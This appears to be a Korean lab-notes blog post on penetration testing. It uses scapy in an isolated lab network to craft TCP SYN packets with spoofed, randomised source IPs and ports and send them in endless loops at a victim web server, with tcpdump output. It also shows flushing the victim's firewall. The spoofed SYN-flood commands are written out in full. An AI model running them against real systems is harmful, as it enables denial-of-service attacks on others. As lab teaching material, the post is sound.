실습> GateWay IP주소 삭제
외부로 패킷이 나가는 것을 방지하기 위해서 GateWay의 IP주소를 삭제한다.
Attacker# route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 192.168.108.2 0.0.0.0 UG 100 0 0 eth0
192.168.108.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0
Attacker# route del default gw 192.168.108.2
Attacker# route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
192.168.108.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0
Attacker# ping 8.8.8.8
ping: connect: Network is unreachable
Victim2와는 같은 대역에 있기 때문에 통신이 가능하다.
Attacker# ping -c 3 192.168.108.100
PING 192.168.108.100 (192.168.108.100) 56(84) bytes of data.
64 bytes from 192.168.108.100: icmp_seq=1 ttl=64 time=0.864 ms
64 bytes from 192.168.108.100: icmp_seq=2 ttl=64 time=0.795 ms
64 bytes from 192.168.108.100: icmp_seq=3 ttl=64 time=0.819 ms
--- 192.168.108.100 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2013ms
rtt min/avg/max/mdev = 0.795/0.826/0.864/0.028 ms
실습> Victim2에 공격 패킷을 조작해서 전송하기
Victim2 : 192.168.108.100
Attacker : 192.168.108.102
1. 웹 서버 실행
Victim2에서 호스트명을 변경하고 웹서버를 실행하고 방화벽도 중지한다.
Victim2# hostnamectl set-hostname localhost.localdomain
Victim2# hostname
localhost.localdomain
Victim2# systemctl start httpd
Victim2# iptables -F
2. 패킷 모니터링
tcpdump 가 없다면 설치하고 패킷을 모니터링 한다.
Victim2# yum -y install tcpdump
Victim2# tcpdump -i ens33 not port 22 and not arp -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
3. scapy 공격 패킷 생성
IP, TCP 패킷을 생성한다.
Attacker# scapy
>>> ls(Ether)
>>> ls(IP)
>>> ls(TCP)
IPV4 패킷 생성
>>> pkt = Ether(src='11:22:33:44:55:66')/IP(src='192.168.108.200', dst='192.168.108.100')/TCP(dport=80,sport=2022)
>>> sendp(pkt)
tcpdump에서 잡은 패킷 내용
03:41:27.789128 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto TCP (6), length 40)
192.168.108.200.2022 > 192.168.108.100.80: Flags [S], cksum 0x2d2f (correct), seq 0, win 8192, length 0
IP 계층에서 src가 없으므로 자신의 IP주소가 들어간다.
>>> pkt = Ether()/IP(dst='192.168.108.100')/TCP(dport=80,sport=2022)
>>> sendp(pkt)
.
Sent 1 packets.
tcpdump 에서 확인한 내용
03:46:36.543574 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto TCP (6), length 40)
192.168.108.102.2022 > 192.168.108.100.80: Flags [S], cksum 0x2d91 (correct), seq 0, win 8192, length 0
03:46:36.543626 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 44)
192.168.108.100.80 > 192.168.108.102.2022: Flags [S.], cksum 0x5a3a (incorrect -> 0x297f), seq 3844846856, ack 1, win 29200, options [mss 1460], length 0
03:46:36.543848 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40)
192.168.108.102.2022 > 192.168.108.100.80: Flags [R], cksum 0x4d8e (correct), seq 1, win 0, length 0
IPV4 Random IP 패킷과 TCP random Port 패킷을 생성해서 전송한다.
IPV4 Random IP : RandIP()
TCP random Port : range(1,9000)
Victim2에서 외부로 패킷이 나가지 못하게 Gateway의 주소를 삭제한다.
Victim2# route del default gw 192.168.108.2
Victim2# route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
192.168.108.0 0.0.0.0 255.255.255.0 U 100 0 0 ens33
Victim2# tcpdump -i ens33 not port 22 and not arp -nn -v
tcpdump: listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
IPV4 Random IP 패킷과 TCP random Port 패킷을 생성해서 전송한다.
>>> pkt = Ether()/IP(src=RandIP(), dst='192.168.108.100')/TCP(dport=80,sport=range(1, 9000))
>>> sendp(pkt, loop=1)
>>> from random import randint
>>> pkt = Ether()/IP(dst='192.168.108.100', src=RandIP())/TCP(dport=80,sport=randint(1, 9000))
>>> sendp(pkt, loop=1) <-- 부하가 걸릴 수 있으므로 아래 sendp(pkt)로 패킷을 보내본다...
>>> sendp(pkt)
패킷 1개 보내기
>>> sendp(pkt)
패킷 100개 보내기
>>> sendp(pkt, count=100)
패킷 무한루프 보내기
>>> sendp(pkt, loop=1)
04:00:24.235145 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto TCP (6), length 40)
50.199.123.213.5613 > 192.168.108.100.80: Flags [S], cksum 0x9dfc (correct), seq 0, win 8192, length 0
04:00:24.235147 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto TCP (6), length 40)
30.254.242.69.5613 > 192.168.108.100.80: Flags [S], cksum 0x3b55 (correct), seq 0, win 8192, length 0
04:00:24.235150 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto TCP (6), length 40)
118.146.36.163.5613 > 192.168.108.100.80: Flags [S], cksum 0xb163 (correct), seq 0, win 8192, length 0
04:00:24.235152 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto TCP (6), length 40)
16.142.51.101.5613 > 192.168.108.100.80: Flags [S], cksum 0x08a6 (correct), seq 0, win 8192, length 0
04:00:24.235153 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto TCP (6), length 40)
79.91.247.8.5613 > 192.168.108.100.80: Flags [S], cksum 0x0635 (correct), seq 0, win 8192, length 0
04:00:24.235155 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto TCP (6), length 40)
181.189.250.40.5613 > 192.168.108.100.80: Flags [S], cksum 0x9cb2 (correct), seq 0, win 8192, length 0
pkt 객체의 show() 메소드를 이용해서 각 패킷의 값을 확인할 수 있다.
>>> pkt
<Ether type=IPv4 |<IP frag=0 proto=tcp src=<RandIP> dst=192.168.108.100 |<TCP sport=5613 dport=http |>>>
>>> pkt.show()
###[ Ethernet ]###
dst= 00:0c:29:1c:3a:76
src= 00:0c:29:e6:4d:4a
type= IPv4
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= tcp
chksum= None
src= <RandIP>
dst= 192.168.108.100
\options\
###[ TCP ]###
sport= 5613
dport= http
seq= 0
ack= 0
dataofs= None
reserved= 0
flags= S
window= 8192
chksum= None
urgptr= 0
options= []
send() : 3계층에서 패킷을 전송하는 함수
sendp() : 2계층에서 패킷을 전송하는 함수
sr() : 패킷을 전송하고 이에 대한 응답을 받는 함수
sr(), sr1() : 3계층에서 동작하고 약간 차이가 있다.
srp() : 2계층에서 동작하는 함수
Victim2# tcpdump -i ens33 not port 22 and not arp and not host 192.168.108.1 -nn -v
tcpdump: listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
>>> pkt = Ether()/IP(dst='192.168.108.100')/TCP(dport=80)
>>> sendp(pkt)
.
Sent 1 packets.
>>> srp(pkt)
Begin emission:
Finished sending 1 packets.
.*
Received 2 packets, got 1 answers, remaining 0 packets
(<Results: TCP:1 UDP:0 ICMP:0 Other:0>,
<Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)
패킷이 tcpdump에서 확인할 수 있다. 여기서는 생략한다.
Victim2# tcpdump -i ens33 not port 22 and not arp and not host 192.168.108.1 -nn -v
tcpdump: listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
:
:(생략)
'Linux > 모의해킹' 카테고리의 다른 글
| positional arguments VS keyword arguments (0) | 2022.01.13 |
|---|---|
| ICMP 생성해서 보내기 (0) | 2022.01.13 |
| 파이썬 코드를 활용한 tcpSynFlooding 공격 (0) | 2022.01.11 |
| TCP SYNflooding (씬플러딩) (0) | 2022.01.11 |
| LAND Attack (0) | 2022.01.11 |